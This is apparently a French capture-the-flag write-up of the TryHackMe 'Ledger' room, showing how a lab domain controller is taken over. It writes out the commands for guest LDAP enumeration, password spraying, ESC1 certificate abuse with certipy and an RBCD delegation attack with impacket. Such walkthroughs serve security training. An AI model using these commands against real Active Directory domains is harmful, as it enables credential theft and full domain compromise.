THM - Ledger
Ledger est une room où l’on doit compromettre un contrôleur de domaine. Plusieurs chemin sont possibles pour compromettre le domaine l’un utilisant une attaque RCBD et l’autre un template de certificat vulnérable.
Enumération
Comme d’habitude, on commence par lancer un scan nmap afin d’identifier les services exposés sur la machine. On voit directement que la machine est un controleur de domaine car elle a tous les ports type d’un DC.
Récupération de comptes valides
Une fois que j’ai remarqué que la machine était un DC, j’ai tenté de voir s’il était possible de récupérer des informations sur l’AD en mode anonyme ou avec le compte guest. J’ai vu qu’il était alors possible que le compte guest était activé.
Avec ce compte, j’ai pu récupéré la liste des descriptions des utilisateurs du domaine avec la commande suivante :
1 | nxc ldap 10.10.163.155 -u Guest -p '' -M user-desc |
J’ai alors constaté que certains utilisateurs avaient leur mot de passe qui était stocké dans l’attribut description de leur compte. Les administrateurs ont tendance a stocké certaines informations sensibles dans les descriptions des comptes qu’il crée mais ils oublient que ces descriptions peuvent être consulté par n’importe quel utilisateur du domaine
Ainsi, en utilisant en sprayant ce mot de passe sur l’ensemble des utilisateurs, je parviens à compromettre 2 comptes :
Accès RDP
Une fois les comptes compromis, je réalise une cartographie du domaine en récupérant les informations de ce dernier avec la commande suivante :
1 | bloodhound-python -d thm.local -c All -u 'IVY_WILLIS' -p 'CHANGEME2023!' -ns 10.10.161.74 |
Je vois alors que le compte susanna_mcknight, peut s’authentifier en RDP sur le DC :
Ainsi, en utilisant ces identifiants, j’obtients un accès RDP à la machine et je récupère le premier flag :
Certificats vulnérables
Après n’avoir pas réussi à faire une escalade de privilège avec l’accès RDP, j’ai décidé de voir si des certificats sont vulnérables. Pour ce faire, j’ai utilisé certipy avec la commande suivante :
1 | certipy-ad find -u IVY_WILLIS -p CHANGEME2023! -vulnerable -stdout -dc-ip 10.10.163.155 |
On voit que le template de certificat ServerAuth
configuré à l’autorité de certification thm-LABYRINTH-CA
est vulnérable à une ESC1
. Ce modèle utilise tous les utilisateurs du domaine
à demander un certificat en spécifiant le nom du compte cible et il est conçu pour l’authentification de client (Client Authentication). Ainsi, n’importe quel utilisateur peut obtenir un certificat qui lui permettra de s’authentifier en tant que n’importe quel compte.
Ainsi, en utilisant la commande suivante, on peut récuperer un certificat de l’administrateur du domaine :
1 | └─$ $ certipy-ad req -username '[email protected]' -password 'C[REDACTED]!' -ca thm-LABYRINTH-CA -target labyrinth.thm.local -template ServerAuth -upn [email protected] |
On peut ensuite utilise se certificat pour récupérer le hash du mot de passe du compte adminsitrateur du domaine :
1 | $ certipy-ad auth -pfx administrator.pfx |
Ensuite, on peut compromettre le DC en utilisant le hash du mot de passe. En revanche, comme le compte administrateur est dans le groupe protected Users, il faut associé le nom du domaine à l’adresse IP du DC dans /etc/hosts afin de pouvoir s’authentifier en kerberos.
Autre méthode : RBCD attack
En analysant les relations entre les objets du domaine avec BloodHound, on remarque qu’il y’a un autre moyen de compromettre le domaine. En effet, l’utilisateur guest à des droits GenericWrite
sur le compte machine du DC ce qui peut nous permettre de faire une Resource Based Constrained Delegation attack
.
Pour réaliser cette attaque, il est nécessaire de contrôler un compte machine. Par défaut, tous les utilisateurs du domaine peuvent ajouter 10 comptes machines sur le domaine
. Ainsi, on peut utiliser cela pour créer un compte machine que l’on contrôle avec les identifiants récupérés précédemment.
1 | impacket-addcomputer -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Password1!' -dc-host 10.10.161.74 -domain-netbios thm.local 'THM.LOCAL/SUSANNA_MCKNIGHT:REDACTED' |
Ensuite, on peut configuer le compte machine du DC pour que notre compte machine puisse demander des tickets de délégation au nom d’autres utilisateurs pour s’authentifier auprès du DC.
1 | rbcd.py THM.LOCAL/guest:'' -dc-ip 10.10.161.74 -delegate-to LABYRINTH$ -delegate-from ATTACKERSYSTEM$ -action write |
Finalement, on peut demander un ticket au service d’authentification du DC en prétendant être l’administrateur du domaine :
On peut ensuite utiliser le ticket récupéré pour s’authentifier avec le -k
et l’option -nopass
et wmiexec
.